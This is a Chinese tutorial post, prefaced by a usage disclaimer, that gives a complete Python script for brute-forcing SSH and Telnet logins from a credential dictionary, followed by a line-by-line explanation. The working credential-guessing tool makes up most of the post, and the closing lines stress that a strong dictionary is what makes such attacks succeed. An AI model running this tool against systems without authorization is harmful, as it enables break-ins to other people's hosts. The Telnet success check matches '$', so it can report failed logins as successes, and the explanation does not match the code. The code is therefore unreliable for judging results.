用途限制声明,本文仅用于网络安全技术研究、教育与知识分享。文中涉及的渗透测试方法与工具,严禁用于未经授权的网络攻击、数据窃取或任何违法活动。任何因不当使用本文内容导致的法律后果,作者及发布平台不承担任何责任。渗透测试涉及复杂技术操作,可能对目标系统造成数据损坏、服务中断等风险。读者需充分评估技术能力与潜在后果,在合法合规前提下谨慎实践。
这次主要介绍检测目标主机的ssh或者telnet是否存在默认凭据登录的脚本,相当于爆破ssh,telnet所在端口的账户,密码。类似的工具相信大家不会陌生,九头蛇(hydra)或者美杜莎(Medusa).
import paramiko
import telnetlib
import time
import argparse
from typing import Tuple, Optional
def SSHLogin(host: str, port: int, username: str, password: str, timeout: int = 10) -> bool:
"""
通过SSH协议尝试登录目标主机
:param host: 目标主机IP或域名
:param port: 目标端口
:param username: 用户名
:param password: 密码
:param timeout: 超时时间(秒)
:return: 登录成功返回True,否则返回False
"""
ssh = None
try:
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
ssh.connect(
hostname=host,
port=port,
username=username,
password=password,
timeout=timeout,
allow_agent=False,
look_for_keys=False
)
# 验证会话是否活跃
if ssh.get_transport().is_active():
print(f"[+] SSH登录成功 {host}:{port} - {username}:{password}")
return True
except paramiko.AuthenticationException:
print(f"[-] SSH认证失败 {host}:{port} - {username}:{password}")
except paramiko.SSHException as e:
print(f"[-] SSH连接错误 {host}:{port} - {str(e)}")
except (TimeoutError, ConnectionRefusedError):
print(f"[-] SSH连接超时/被拒绝 {host}:{port}")
except Exception as e:
print(f"[-] SSH未知错误 {host}:{port} - {str(e)}")
finally:
if ssh:
try:
ssh.close()
except:
pass
return False
def TelnetLogin(host: str, port: int, username: str, password: str, timeout: int = 10) -> bool:
"""
通过Telnet协议尝试登录目标主机
:param host: 目标主机IP或域名
:param port: 目标端口
:param username: 用户名
:param password: 密码
:param timeout: 超时时间(秒)
:return: 登录成功返回True,否则返回False
"""
tn = None
try:
# 修复原代码中错误的HTTP前缀问题
tn = telnetlib.Telnet(host, port, timeout=timeout)
# 更灵活的登录提示符处理
prompts = tn.expect([b"login:", b"Username:", b"user:"], timeout=timeout)
if prompts[0] == -1:
print(f"[-] Telnet未找到用户名提示符 {host}:{port}")
return False
tn.write(f"{username}\n".encode('utf-8'))
pass_prompts = tn.expect([b"Password:", b"password:"], timeout=timeout)
if pass_prompts[0] == -1:
print(f"[-] Telnet未找到密码提示符 {host}:{port}")
return False
tn.write(f"{password}\n".encode('utf-8'))
# 等待登录结果
time.sleep(1)
result = tn.expect([b"Last login", b"Welcome", b"$", b">#"], timeout=timeout)
if result[0] > -1:
print(f"[+] Telnet登录成功 {host}:{port} - {username}:{password}")
return True
else:
print(f"[-] Telnet登录失败 {host}:{port} - {username}:{password}")
except EOFError:
print(f"[-] Telnet连接被关闭 {host}:{port} - {username}:{password}")
except (TimeoutError, ConnectionRefusedError):
print(f"[-] Telnet连接超时/被拒绝 {host}:{port}")
except Exception as e:
print(f"[-] Telnet未知错误 {host}:{port} - {str(e)}")
finally:
if tn:
try:
tn.close()
except:
pass
return False
def load_credentials(filename: str) -> list[Tuple[str, str]]:
"""
从文件加载用户名密码组合
:param filename: 凭据文件路径
:return: 用户名密码元组列表
"""
credentials = []
try:
with open(filename, 'r', encoding='utf-8') as f:
for line_num, line in enumerate(f, 1):
line = line.strip()
if not line or line.startswith('#'): # 跳过空行和注释
continue
parts = line.split(maxsplit=1) # 允许密码包含空格
if len(parts) == 2:
credentials.append((parts[0].strip(), parts[1].strip()))
else:
print(f"[!] 凭据文件格式错误,行 {line_num}: {line}")
except FileNotFoundError:
print(f"[!] 凭据文件 {filename} 未找到")
except Exception as e:
print(f"[!] 加载凭据文件错误: {str(e)}")
return credentials
def main():
# 命令行参数解析
parser = argparse.ArgumentParser(description='默认凭据检测工具')
parser.add_argument('-H', '--host', required=True, help='目标主机IP或域名')
parser.add_argument('-P', '--port', type=int, help='目标端口(默认SSH:22, Telnet:23)')
parser.add_argument('-s', '--service', choices=['ssh', 'telnet', 'both'], default='both',
help='检测的服务类型(默认: both)')
parser.add_argument('-f', '--file', default='defaults.txt', help='凭据文件路径(默认: defaults.txt)')
parser.add_argument('-t', '--timeout', type=int, default=10, help='超时时间(秒)(默认: 10)')
parser.add_argument('-d', '--delay', type=float, default=0.5, help='尝试间隔时间(秒)(默认: 0.5)')
args = parser.parse_args()
# 确定端口
ssh_port = args.port if args.port else 22
telnet_port = args.port if args.port else 23
# 加载凭据
credentials = load_credentials(args.file)
if not credentials:
print("[!] 未加载到任何凭据,退出程序")
return
print(f"[*] 开始检测目标 {args.host},共加载 {len(credentials)} 组凭据")
# 尝试登录
for username, password in credentials:
if args.service in ['ssh', 'both']:
SSHLogin(args.host, ssh_port, username, password, args.timeout)
if args.service in ['telnet', 'both']:
TelnetLogin(args.host, telnet_port, username, password, args.timeout)
# 避免过于频繁的尝试
time.sleep(args.delay)
if __name__ == "__main__":
main()
1.导入依赖库
import paramiko
import telnetlib
import time
import argparse
from typing import Tuple, Optional
paramiko:这是 Python 中用于 SSH 协议操作的第三方库,提供了 SSH 客户端和服务器的实现,这里用于创建 SSH 连接并尝试登录telnetlib:Python 标准库中的 Telnet 客户端模块,用于处理 Telnet 协议的通信time:提供时间相关的功能,这里主要用于控制登录尝试之间的间隔时间argparse:用于解析命令行参数,让用户可以通过命令行设置工具的各种参数typing模块:提供类型提示功能,Tuple用于指定元组类型,增强代码的可读性和 IDE 的类型检查
2.SSHLogin 函数
函数定义与文档字符串
def SSHLogin(host: str, port: int, username: str, password: str, timeout: int = 10) -> bool:
"""
通过SSH协议尝试登录目标主机
:param host: 目标主机IP或域名
:param port: 目标端口
:param username: 用户名
:param password: 密码
:param timeout: 超时时间(秒)
:return: 登录成功返回True,否则返回False
"""
初始化与连接准备
ssh = None
try:
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
ssh = None:先初始化变量,避免在异常处理时引用未定义的变量paramiko.SSHClient():创建 SSH 客户端对象set_missing_host_key_policy(paramiko.AutoAddPolicy()):设置未知主机密钥的处理策略,AutoAddPolicy表示自动接受未知的主机密钥(在安全测试场景常用,但生产环境需谨慎)
尝试 SSH 连接
ssh.connect(
hostname=host,
port=port,
username=username,
password=password,
timeout=timeout,
allow_agent=False,
look_for_keys=False
)
ssh.connect():尝试连接到目标 SSH 服务allow_agent=False:禁用 SSH 代理,确保不会使用系统中的 SSH 代理进行认证look_for_keys=False:禁用查找本地密钥文件,确保只使用提供的密码进行认证(不依赖本地的 id_rsa 等密钥文件)
验证登录状态
# 验证会话是否活跃
if ssh.get_transport().is_active():
print(f"[+] SSH登录成功 {host}:{port} - {username}:{password}")
return True
ssh.get_transport().is_active():检查 SSH 传输通道是否处于活跃状态,用于确认登录是否成功- 成功则打印带有
[+]标记的成功信息,并返回True
异常处理
except paramiko.AuthenticationException:
print(f"[-] SSH认证失败 {host}:{port} - {username}:{password}")
except paramiko.SSHException as e:
print(f"[-] SSH连接错误 {host}:{port} - {str(e)}")
except (TimeoutError, ConnectionRefusedError):
print(f"[-] SSH连接超时/被拒绝 {host}:{port}")
except Exception as e:
print(f"[-] SSH未知错误 {host}:{port} - {str(e)}")
- 分层捕获不同类型的异常,使错误信息更具体:
AuthenticationException:明确捕获认证失败(用户名 / 密码错误)SSHException:捕获 SSH 协议相关的错误TimeoutError, ConnectionRefusedError:捕获连接超时或被拒绝的情况- 通用
Exception:作为保底,捕获其他未预料到的错误
- 错误信息使用
[-]标记,便于区分成功与失败记录
资源清理
finally:
if ssh:
try:
ssh.close()
except:
pass
return False
finally块确保无论是否发生异常,都会执行资源清理操作- 检查
ssh对象是否存在,避免NoneType错误 - 嵌套
try-except确保关闭连接时的错误不会影响主程序 - 函数默认返回
False(只有登录成功时才会提前返回True)
3. TelnetLogin 函数
函数定义与文档字符串
def TelnetLogin(host: str, port: int, username: str, password: str, timeout: int = 10) -> bool:
"""
通过Telnet协议尝试登录目标主机
:param host: 目标主机IP或域名
:param port: 目标端口
:param username: 用户名
:param password: 密码
:param timeout: 超时时间(秒)
:return: 登录成功返回True,否则返回False
"""
- 与
SSHLogin类似的函数定义,参数和返回值含义相同 - 文档字符串说明这是用于 Telnet 协议登录的函数
初始化 Telnet 连接
tn = None
try:
tn = telnetlib.Telnet(host, port, timeout=timeout)
tn = None:初始化变量,避免后续引用问题telnetlib.Telnet(...):创建 Telnet 客户端对象并尝试连接目标主机
处理用户名输入
# 更灵活的登录提示符处理
prompts = tn.expect([b"login:", b"Username:", b"user:"], timeout=timeout)
if prompts[0] == -1:
print(f"[-] Telnet未找到用户名提示符 {host}:{port}")
return False
tn.write(f"{username}\n".encode('utf-8'))
tn.expect(...):等待目标返回指定的提示符,参数是字节序列列表(因为 Telnet 传输的是字节)- 支持多种可能的用户名提示符(
login:,Username:,user:),适应不同设备的提示风格 - 返回值是一个元组
(匹配索引, 匹配对象, 字节数据)
- 支持多种可能的用户名提示符(
prompts[0] == -1:表示没有匹配到任何提示符,登录流程无法继续tn.write(...):发送用户名,需要先编码为字节流(utf-8编码),并添加换行符\n模拟回车
处理密码输入
pass_prompts = tn.expect([b"Password:", b"password:"], timeout=timeout)
if pass_prompts[0] == -1:
print(f"[-] Telnet未找到密码提示符 {host}:{port}")
return False
tn.write(f"{password}\n".encode('utf-8'))
- 与处理用户名类似,等待密码提示符(支持大小写形式)
- 发送密码(同样需要编码为字节流并添加换行符)
验证 Telnet 登录结果
# 等待登录结果
time.sleep(1)
result = tn.expect([b"Last login", b"Welcome", b"$", b">#"], timeout=timeout)
if result[0] > -1:
print(f"[+] Telnet登录成功 {host}:{port} - {username}:{password}")
return True
else:
print(f"[-] Telnet登录失败 {host}:{port} - {username}:{password}")
time.sleep(1):等待 1 秒,给服务器足够时间处理登录请求tn.expect(...):通过检测登录成功后的典型提示信息来判断是否登录成功Last login:常见于 Linux 系统的登录成功提示Welcome:通用的欢迎信息$,#:命令行提示符(普通用户和管理员)
result[0] > -1:表示匹配到了成功标识,登录成功
异常处理与资源清理
except EOFError:
print(f"[-] Telnet连接被关闭 {host}:{port} - {username}:{password}")
except (TimeoutError, ConnectionRefusedError):
print(f"[-] Telnet连接超时/被拒绝 {host}:{port}")
except Exception as e:
print(f"[-] Telnet未知错误 {host}:{port} - {str(e)}")
finally:
if tn:
try:
tn.close()
except:
pass
return False
- 异常处理逻辑与
SSHLogin类似,但针对 Telnet 的特点增加了EOFError(连接被意外关闭) - 同样在
finally块中确保 Telnet 连接被关闭 - 默认返回
False,只有登录成功时返回True
4. load_credentials 函数
函数定义与文档字符串
def load_credentials(filename: str) -> list[Tuple[str, str]]:
"""
从文件加载用户名密码组合
:param filename: 凭据文件路径
:return: 用户名密码元组列表
"""
- 函数返回值类型
list[Tuple[str, str]]表示 "字符串元组的列表",即每个元素是一个包含两个字符串(用户名和密码)的元组
初始化与文件读取
credentials = []
try:
with open(filename, 'r', encoding='utf-8') as f:
for line_num, line in enumerate(f, 1):
line = line.strip()
if not line or line.startswith('#'): # 跳过空行和注释
continue
credentials = []:初始化空列表存储凭据with open(...):使用上下文管理器打开文件,自动处理文件关闭enumerate(f, 1):获取行号(从 1 开始计数,符合实际文件行号习惯)line.strip():去除行首尾的空白字符(空格、换行符等)if not line or line.startswith('#'):跳过空行和以#开头的注释行
解析凭据行
parts = line.split(maxsplit=1) # 允许密码包含空格
if len(parts) == 2:
credentials.append((parts[0].strip(), parts[1].strip()))
else:
print(f"[!] 凭据文件格式错误,行 {line_num}: {line}")
line.split(maxsplit=1):只分割第一个空格,允许密码中包含空格(例如 "admin pass123" 会被正确分割为用户名 "admin" 和密码 "pass123")- 检查分割结果是否为两部分(用户名和密码),符合格式则添加到凭据列表
- 格式错误则输出警告信息,包含行号便于用户排查凭据文件问题
异常处理
except FileNotFoundError:
print(f"[!] 凭据文件 {filename} 未找到")
except Exception as e:
print(f"[!] 加载凭据文件错误: {str(e)}")
return credentials
- 专门处理
FileNotFoundError(文件不存在),错误信息更明确 - 通用异常捕获其他可能的文件读取错误(如权限问题、编码问题等)
- 返回加载到的凭据列表(可能为空)
5. main 函数 - 详细拆解
命令行参数解析
# 命令行参数解析
parser = argparse.ArgumentParser(description='默认凭据检测工具')
parser.add_argument('-H', '--host', required=True, help='目标主机IP或域名')
parser.add_argument('-P', '--port', type=int, help='目标端口(默认SSH:22, Telnet:23)')
parser.add_argument('-s', '--service', choices=['ssh', 'telnet', 'both'], default='both',
help='检测的服务类型(默认: both)')
parser.add_argument('-f', '--file', default='defaults.txt', help='凭据文件路径(默认: defaults.txt)')
parser.add_argument('-t', '--timeout', type=int, default=10, help='超时时间(秒)(默认: 10)')
parser.add_argument('-d', '--delay', type=float, default=0.5, help='尝试间隔时间(秒)(默认: 0.5)')
args = parser.parse_args()
argparse.ArgumentParser:创建命令行参数解析器- 定义的参数说明:
-H/--host:必填参数,目标主机地址-P/--port:可选参数,指定端口(不指定则使用默认端口)-s/--service:指定检测的服务类型,只能是ssh、telnet或both(默认)-f/--file:凭据文件路径(默认defaults.txt)-t/--timeout:连接超时时间(默认 10 秒)-d/--delay:每次尝试之间的间隔时间(默认 0.5 秒)
args = parser.parse_args():解析命令行参数并存储到args对象
确定服务端口
# 确定端口
ssh_port = args.port if args.port else 22
telnet_port = args.port if args.port else 23
- 如果用户通过
-P指定了端口,则 SSH 和 Telnet 都使用该端口 - 未指定时,使用默认端口(SSH:22,Telnet:23)
- 这样设计允许用户灵活测试非标准端口上的服务
加载凭据并检查
# 加载凭据
credentials = load_credentials(args.file)
if not credentials:
print("[!] 未加载到任何凭据,退出程序")
return
- 调用
load_credentials函数加载凭据文件 - 如果凭据列表为空(加载失败或文件中没有有效凭据),则输出提示并退出程序
执行登录尝试
print(f"[*] 开始检测目标 {args.host},共加载 {len(credentials)} 组凭据")
# 尝试登录
for username, password in credentials:
if args.service in ['ssh', 'both']:
SSHLogin(args.host, ssh_port, username, password, args.timeout)
if args.service in ['telnet', 'both']:
TelnetLogin(args.host, telnet_port, username, password, args.timeout)
# 避免过于频繁的尝试
time.sleep(args.delay)
- 打印开始信息,包含目标主机和凭据数量
- 循环遍历所有凭据,对每个用户名 / 密码组合:
- 根据服务类型选择调用
SSHLogin、TelnetLogin或两者 - 每次尝试后等待
args.delay秒,避免请求过于频繁(防止被目标主机限制或视为攻击)
- 根据服务类型选择调用
6. 程序入口
if __name__ == "__main__":
main()
- 这是 Python 的标准程序入口写法
- 当脚本被直接运行时(
__name__ == "__main__"为真),调用main()函数启动程序 - 如果脚本被作为模块导入,则不会自动执行
main()函数
通过此代码,我们了解了ssh以及telnet爆破的内在逻辑,了解其基本原理,上面代码能够进行基本使用,想要功能能够更加强大,需要不断优化以及改进。再次提醒,爆破的成功在于有一个强大的字典,这是必不可少的。
1774

被折叠的 条评论
为什么被折叠?



